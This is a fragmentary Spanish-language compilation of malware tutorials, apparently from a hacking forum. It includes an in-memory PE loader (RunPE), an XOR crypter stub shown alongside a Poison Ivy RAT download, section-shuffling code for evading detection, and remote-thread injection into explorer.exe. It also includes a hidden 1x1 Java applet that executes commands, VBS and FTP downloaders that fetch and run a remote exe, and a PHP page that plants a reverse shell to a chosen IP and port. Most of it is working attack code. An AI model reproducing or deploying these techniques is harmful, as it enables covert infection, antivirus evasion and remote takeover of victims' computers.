http://www.joachim-bauch.de/tutorials/load_dll_memory.html

http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff_v8.docx

• Lee el archivo y busca la cabecera DOS, la cabecera PE y las cabeceras de las secciones.
• Intenta reservar espacio en memoria en la dirección del ImageBase, y si ya está en uso, la reserva en otra dirección. La cantidad de memoria que reserva está marcado por el SizeOfImage.
• Mapea las distintas secciones de acuerdo con su VirtualOffset y VirtualSize y los Flags.
• Si el archivo no está cargado en su ImageBase, hace una reubicación de la base del ejecutable.
  
• Recorre la Import Table y carga las librerías que importa en ejecutable.
• Rellena la IAT con las direcciones de las funciones que importa.
• Crea el hilo inicial de ejecución y lanza el proceso.

//-------------------------------------------------------------------------------------------
//					PoC - [Base Relocation]
//
//Descripción: Ejecuta un archivo mapeado en memoria sin guardarlo en disco
//Autor: Hacker_Zero
//Fecha: 18-8-2009
//Basado en: http://www.joachim-bauch.de/tutorials/load_dll_memory.html
//-------------------------------------------------------------------------------------------
 
#pragma optimize("gsy", on)
#pragma comment(linker, "/ENTRY:main")
 
#include <windows.h>
#include "resource.h"
 
void main()
{
	//Cargamos ejecutable del resource
	HRSRC hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE");
	HGLOBAL hGlob=LoadResource(NULL,hResource);
	DWORD FileSize=SizeofResource(NULL,hResource);
	LPSTR lpFileMaped=(LPSTR)LockResource(hGlob);
 
	PIMAGE_DOS_HEADER IDH;
	PIMAGE_NT_HEADERS INTH;
	PIMAGE_SECTION_HEADER ISH;
 
	//Obtenemos la cabecera DOS y PE en las estructuras
	IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
	INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];
 
	//Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable
	LPSTR ExeBuffer=(LPSTR)VirtualAlloc(NULL,INTH->OptionalHeader.SizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	//LPSTR ExeBuffer=(LPSTR)GlobalAlloc(GPTR,INTH->OptionalHeader.SizeOfImage);
 
	//Copiamos la cabecera DOS y PE al buffer
	CopyMemory(&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders);
 
	//Copiamos las secciones en su VirtualOffset en el buffer
	for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
	{
		ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
		CopyMemory(&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData);
	}
 
	//Calculamos el delta entre la dirección del buffer y el ImageBase
	DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase);
 
	//------------------------------------------------------------
	/* -Reubicamos la dirección base del ejecutable :D- */
	//------------------------------------------------------------
 
	//Si no hay tabla de reubicación, salimos
	if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size==0)
	{
		MessageBoxA(0,"No se ha encontrado Tabla de Reubicaciones\nImposible cargar el archivo",0,0);
		ExitProcess(0);
	}
 
	//Obteemos el Image Base Relocation
	PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
 
	//Vamos recorriendo todas las etradas del bloque
	for (;IBR->VirtualAddress>0; )
	{
		//Obtenemos el Bloque de reubicación
		LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress);
 
		//Obtenemos la primera entrada del bloque
		LPWORD RelocationEntry=(LPWORD)((LPSTR)IBR+sizeof(IMAGE_BASE_RELOCATION));
 
		//Recorremos todas las entradas del bloque
		for (DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++)
		{
			//Obtenemos los 4 bits que definen el tipo de reubicación
			DWORD type=*RelocationEntry>>12;
 
			//Obtenemos los 12 bits que definen la dirección de la reubicación
			DWORD offset=*RelocationEntry&0xfff;
 
			//Si el tipo de reubicación es relativo a la dirección base, añadimso el delta
			switch (type)
			{
				case IMAGE_REL_BASED_HIGHLOW:
					//Añadimos a la dirección que depende del imagebase original
					//el delta entre el imagebase y nuestra dirección base
					LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset);
					*newAddr=Delta+(DWORD)*newAddr;
				break;
			}
		}
		//Vamos al siguiente bloque
		IBR = (PIMAGE_BASE_RELOCATION)(((DWORD)IBR) + IBR->SizeOfBlock);
	}
 
 
	//---------------------------------------------------------------------
	/* -Cargamos los valores de la IAT para poder llamar a las apis- */
	//---------------------------------------------------------------------
 
	PIMAGE_THUNK_DATA ITD;
	PIMAGE_IMPORT_BY_NAME IIBN;
 
	//Comprobamos si hay Import Data Descriptor
	if (INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
	{
		//Si lo hay lo obtenemos en la estructura
		PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
 
		//Vamos recorriendo todas las Dll's importadas por el ejecutable
		for (;IID->Name;IID++)
		{
			//Cargamos la dll
			HMODULE hLib=LoadLibraryA((LPCSTR)(ExeBuffer+IID->Name));
 
			//Obtenemos la dirección al primer miembro del array Image Thunk Data's
			ITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk);
 
			//Vamos recorriendo las funciones importadas
			for (;ITD->u1.Ordinal;ITD++)
			{
				//Cargamos el Image Import By Name para obtener el nombre
				IIBN=(PIMAGE_IMPORT_BY_NAME)(ExeBuffer+ITD->u1.Function);
				//Obtenemos la dirección de la función y la guardamos en la IAT
				ITD->u1.Function=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);
			}
		}
	}
 
	//Obteemos el EntryPoint de ejecutable que cargamos en el buffer
	DWORD EntryPoint=((DWORD)ExeBuffer)+INTH->OptionalHeader.AddressOfEntryPoint;
 
	//Llamamos al EntryPoint
	__asm
	{
		mov eax,EntryPoint
		call eax
	}
 
	ExitProcess(0);
}
 

section '.reloc' fixups data discardable 

• Olly Debug Descargar
  
• Un Editor Hexadecimal Descargar HxD
  
• Un Editor del PE Descargar LordPE
  
• Poison Ivy v2.1.4 Private Descargar
  

  ---

  
  
  

  ---

  Conocimientos recomendados
• Nociones básicas sobre ASM. Taller ASM por E0N
  
• Conocimientos sobre el Formato PE. Taller Formato PE por Ferchu
  
• Familiarización con el uso de Olly y las otras herramientas.

   
Ejecutable original y ejecutable cifrado respectivamente

;---------------------------------------------------------------
;Taller Encriptacion Malware a Mano: Código Desencriptación
;---------------------------------------------------------------
;Movemos a eax la dirección de inicio del código cifrado
mov eax,402000h
;Movemos a ebx la dirección de fin del código cifrado
mov ebx,403000h
;Movemos a ecx la dir del Entry Point Original
mov ecx,401038h
xor byte ptr ds:[eax],0FFh ;Hacemos el xor al byte con la clave 0FF (se puede cambiar por otro byte)
inc eax                    ;Nos desplazamos al siguiente byte
cmp eax,ebx                ;Comprobamos si es el último
jne 401234h                ;Si no lo es, continuamos con el siguiente
ret                        ;Salimos del programa (cambiar ret por nop despues de cifrar)
jmp ecx                    ;Si lo es, saltamos el Entry Point Original 

LPSTR RebuildPE(LPSTR FileName,LPSTR lpFileMaped,DWORD FileSize)
{
	PIMAGE_DOS_HEADER IDH;
	PIMAGE_NT_HEADERS INTH;
	PIMAGE_SECTION_HEADER ISH;
 
	IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
	INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];
 
	//Creamos un buffer y guardamos una copia del archivo mapeado
	LPSTR Temp=(LPSTR)GlobalAlloc(GPTR,FileSize);
	CopyMemory(&Temp[0],&lpFileMaped[0],FileSize);
 
	//Cambiamos las secciones en el archivo de orden (no en la cabecera)
	for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
	{
		PIMAGE_DOS_HEADER tIDH;
		PIMAGE_NT_HEADERS tINTH;
		PIMAGE_SECTION_HEADER tISH;
		PIMAGE_SECTION_HEADER tISH2;
		PIMAGE_SECTION_HEADER ISH2;
 
		tIDH=(PIMAGE_DOS_HEADER)&Temp[0];
		tINTH=(PIMAGE_NT_HEADERS)&Temp[tIDH->e_lfanew];
 
		tISH=(PIMAGE_SECTION_HEADER)&Temp[tIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i+1)];
		ISH2=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i+1)];
		tISH2=(PIMAGE_SECTION_HEADER)&Temp[tIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
		ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
 
 
		if(i!=INTH->FileHeader.NumberOfSections-1)
		{
			CopyMemory(&lpFileMaped[ISH->PointerToRawData],&Temp[tISH->PointerToRawData],tISH->SizeOfRawData);
			ISH->SizeOfRawData=tISH->SizeOfRawData;
			ISH->Characteristics=tISH->Characteristics;
			ISH->VirtualAddress=tISH->VirtualAddress;
			CopyMemory(&ISH->Name,&tISH->Name,8);
 
			ISH2->PointerToRawData=ISH->PointerToRawData+tISH->SizeOfRawData;
		}
		else
		{ 
			tISH=(PIMAGE_SECTION_HEADER)&Temp[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)];
			ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
			CopyMemory(&lpFileMaped[ISH->PointerToRawData],&Temp[tISH->PointerToRawData],tISH->SizeOfRawData);
			ISH->SizeOfRawData=tISH->SizeOfRawData;
			ISH->Characteristics=tISH->Characteristics;
			ISH->VirtualAddress=tISH->VirtualAddress;
			CopyMemory(&ISH->Name,&tISH->Name,8);
		}
	}
 
	LPSTR SecTmp=(LPSTR)GlobalAlloc(GPTR,0x28*INTH->FileHeader.NumberOfSections);
	CopyMemory(&SecTmp[0],&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)],0x28*INTH->FileHeader.NumberOfSections);
 
	//Reordenamos las secciones en la cabecera
	for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
	{
		if(i==0)
		{
			CopyMemory(&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)],&SecTmp[0x28*(INTH->FileHeader.NumberOfSections-1)],0x28);
		}
		else
		{
			CopyMemory(&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i],&SecTmp[0x28*(i-1)],0x28);
		}
	}
 
	GlobalFree(Temp);
 
	//Obtenemos el PointerToRawData más alto y el tamaño total de todas las secciones
	DWORD MaxPointerToRawData=0;
	DWORD TotalSectionsSize=0;
	for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
	{
		ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
 
		if(MaxPointerToRawData<ISH->PointerToRawData)
		{
			MaxPointerToRawData=ISH->PointerToRawData;
		}
		TotalSectionsSize=TotalSectionsSize+(DWORD)(ISH->SizeOfRawData);
	}
 
	//Obtenemos la sección con el PointerToRawData más alto
	for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
	{
		ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
		//Si es la sección que contiene el PointerToRawData más alto salimos del bucle
		if(ISH->PointerToRawData==MaxPointerToRawData)
		{
			i=INTH->FileHeader.NumberOfSections;
		}
	}
 
	//Si hay EOF Data
	if(ISH->PointerToRawData+ISH->SizeOfRawData<FileSize)
	{
		//Metemos el EOF Data dentro de la última sección
		ISH->SizeOfRawData=ISH->SizeOfRawData+(FileSize-(ISH->PointerToRawData+ISH->SizeOfRawData));
	}
 
	//Obtenemos el SizeOfImage y ajustamos el VirtualSize de las secciones
	DWORD SizeOfImage=0;
	for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
	{
		ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
		ISH->Misc.VirtualSize=ISH->SizeOfRawData;
		if(SizeOfImage<ISH->VirtualAddress)
		{
			SizeOfImage=ISH->VirtualAddress+ISH->Misc.VirtualSize;
		}
	}	
 
	//Ajustamos el SizeOfImage
	INTH->OptionalHeader.SizeOfImage=SizeOfImage;
 
	//Recalculamos el CheckSum
	_MapFileAndCheckSum miMapFileAndCheckSum=NULL;
	HMODULE hLib=LoadLibraryA("IMAGEHLP.DLL");
	miMapFileAndCheckSum=(_MapFileAndCheckSum)GetProcAddress(hLib,"MapFileAndCheckSumA");
 
	DWORD OrignalCheckSum=0;
	DWORD newCheckSum=0;
	miMapFileAndCheckSum((PTSTR)FileName,&OrignalCheckSum,&newCheckSum);
 
	INTH->OptionalHeader.CheckSum=newCheckSum;
 
	return lpFileMaped;
}

;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\Inyección de Código en Memoria //\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\          By Hacker_Zero       //\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\      http://www.eduhack.es    //\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\
 
Format PE GUI 4.0
entry start
include 'win32a.inc'
 
Proceso                 db 'explorer.exe',0
nUser32                 db 'USER32.DLL',0
nMessageBox             db 'MessageBoxA',0
hProceso                dd ?
DirFuncion              dd ?
TamañoDatos             dd ?
pInfo                   PROCESS_INFORMATION
sInfo                   STARTUPINFO
 
start:
;Cargamos la USER32.DLL
invoke LoadLibrary,nUser32
 
;Obtenemos la dirección de MessageBoxA
invoke GetProcAddress,eax,nMessageBox
mov [mMessageBoxA],eax
 
;Obtenemos la dirección de ExitProcess
push    [ExitProcess]
pop     [mExitProcess]
 
;Creamos el Proceso
invoke CreateProcessA,0,Proceso,0,0,0,CREATE_SUSPENDED,0,0,sInfo,pInfo
 
;Guardamos el Handle
push [pInfo.hProcess]
pop [hProceso]
 
;Obtenemos el tamaño e la función a inyectar
mov ebx,FIN
sub ebx,FuncionInyectada
mov [TamañoDatos],ebx
 
;Reservamos espacio en memoria para la función a inyectar
invoke VirtualAllocEx,[hProceso],0,[TamañoDatos],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [DirFuncion],eax
 
;Escribimos en memoria los datos
invoke WriteProcessMemory,[hProceso],[DirFuncion],FuncionInyectada,[TamañoDatos],0
 
;Creamos el hilo en el proceso
invoke CreateRemoteThread,[hProceso],0,0,[DirFuncion],0,0,0
 
;Salimos
invoke ExitProcess,0
 
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
;\\\///\\\///\\\///\\\///\  Función Que se Inyecta  ///\\\///\\\///\\\///
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
proc FuncionInyectada
;Obtenemos la dirección de memoria donde nos estamos ejecutando
pushad
call delta
delta:
pop ebp
sub ebp,delta
push ebp ebp
pop ebx ecx
 
;Obtenemos la dirección donde se cargó el Mensaje y el Título
add ebx,Mensaje
add ecx,Titulo
 
;Llamamos a MessageboxA
push 0
push ebx
push ecx
push 0
call [ebp+mMessageBoxA]
 
;Llamamos a ExitProcess
push 0
call [ebp+mExitProcess]
 
Titulo           db 'Code Inyectado!',0
Mensaje          db 'xD',0
 
;Las direcciones en memoria de las apis
mMessageBoxA     dd ?
mExitProcess     dd ?
endp
FIN:
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
;\\\///\\\///\\\///\\\/// Fin Función Que se Inyecta //\\\///\\\///\\\///
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
 
data import
    library KERNEL32,'KERNEL32.DLL'
    import  KERNEL32,\
            CreateProcessA,'CreateProcessA',\
            CreateRemoteThread,'CreateRemoteThread',\
            WriteProcessMemory,'WriteProcessMemory',\
            VirtualAllocEx,'VirtualAllocEx',\
            ExitProcess,'ExitProcess',\
            LoadLibrary,'LoadLibraryA',\
            GetProcAddress,'GetProcAddress'
end data    

import java.applet.*;
import java.awt.*;  
import java.io.*;
public class skata extends Applet
{
     public void init() 
     {
          Process f;
          String first = getParameter("first");
 
           try
           {
                f = Runtime.getRuntime().exec(first);
           }
 
           catch(IOException e)
           { 
                e.printStackTrace();
           }
      }
}

<applet width='1' height='1' code='Nombre-clase-applet.class' archive='Nombre-Applet.jar'>
 
<param name='first' value='cmd.exe /c msg * Hola Mundo!'>
 
</applet>

cmd.exe /c echo Comando en VBS >>C:\Archivo.vbs

Const adTypeBinary = 1  
Const adSaveCreateOverWrite = 2  
Dim BinaryStream  
Set BinaryStream = CreateObject("ADODB.Stream")  
BinaryStream.Type = adTypeBinary  
BinaryStream.Open  
BinaryStream.Write BinaryGetURL(Wscript.Arguments(0))  
BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite  
Function BinaryGetURL(URL)  
Dim Http  
Set Http = CreateObject("WinHttp.WinHttpRequest.5.1")  
Http.Open "GET", URL, False  
Http.Send  
BinaryGetURL = Http.ResponseBody  
End Function  
Set shell = CreateObject("WScript.Shell")  
shell.Run "cmd.exe /c C:\archivo.exe"
 

Codigo.vbs http://www.pagina.com/archivo.exe C:\archivo.exe

@echo off
echo usuario@nombreftp.com>C:\datos.txt
echo contraseña>>C:\datos.txt
echo cd /path>>C:\datos.txt
echo pwd>>C:\datos.txt
echo binary>>C:\datos.txt
echo get archivo.exe>>C:\datos.txt
echo bye>>C:\datos.txt 
echo quit>>C:\datos.txt
ftp -s:C:\datos.txt nombreftp.com
start archivo.exe

<?php
if(isset($HTTP_GET_VARS["ip"])) {
	$ip = $HTTP_GET_VARS["ip"];
}
else $ip = 127.0.0.1;
 
if(isset($HTTP_GET_VARS["puerto"])) {
	$puerto = $HTTP_GET_VARS["puerto"];
}
else $port = 7173;
 
echo '
<applet width="1" height="1" code="nombreclaseapplet.class" archive="nombreapplet.jar">
<param name="first" value="cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject(\"ADODB.Stream\") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject(\"WinHttp.WinHttpRequest.5.1\") >> C:\windows\apsou.vbs & echo Http.Open \"GET\", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C:\windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject(\"WScript.Shell\") >> C:\windows\apsou.vbs & echo shell.Run \"C:\windows\update.exe -d -e cmd.exe '.$ip.' '.$puerto.'\" >> C:\windows\apsou.vbs">
</applet>';
?>
 

#include <iostream>
 
 
 
using namespace std;
 
 
 
int main(int argc, char* argv[]) {
 
	cout << "Este ejecutable puede ser reemplazado un troyano, backdoor, virus, netcat, etc." << endl;
 
    cout << "Por lo tanto nunca hay que fiarse de applets sin firmas certificadas" << endl;
 
    cout << "La ip introducida mediante PHP es " << argv[1] << endl;
 
    cout << "El puerto introducido mediante PHP es " << argv[2] << endl;
 
}